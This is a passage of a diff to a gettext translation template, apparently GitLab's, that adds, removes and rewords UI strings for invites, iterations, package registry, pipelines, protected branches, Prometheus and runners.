msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,7 +17629,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -17971,9 +17638,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18733,18 +18439,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18856,9 +18550,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19250,9 +18938,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19460,6 +19145,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19674,6 +19362,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19926,9 +19626,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20253,6 +19953,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21233,9 +20930,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21494,9 +21188,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21720,7 +21408,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21777,13 +21465,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -21979,9 +21667,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22000,7 +21685,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22498,9 +22180,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22631,9 +22310,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23403,9 +23088,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23550,6 +23241,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23742,9 +23439,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,13 +24096,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24447,10 +24147,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24462,6 +24162,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25074,6 +24780,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25389,6 +25095,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25401,9 +25110,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25509,9 +25209,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26145,9 +25839,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26232,21 +25923,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26262,18 +25950,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26289,9 +25968,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26304,6 +25980,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26358,9 +26037,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26526,6 +26214,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26586,18 +26280,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27028,6 +26737,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27206,6 +26918,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27221,15 +26936,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27395,15 +27101,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27413,15 +27122,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27815,6 +27515,9 @@ msgstr[0] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -27986,9 +27683,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28081,6 +27775,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28090,9 +27787,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28159,12 +27853,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
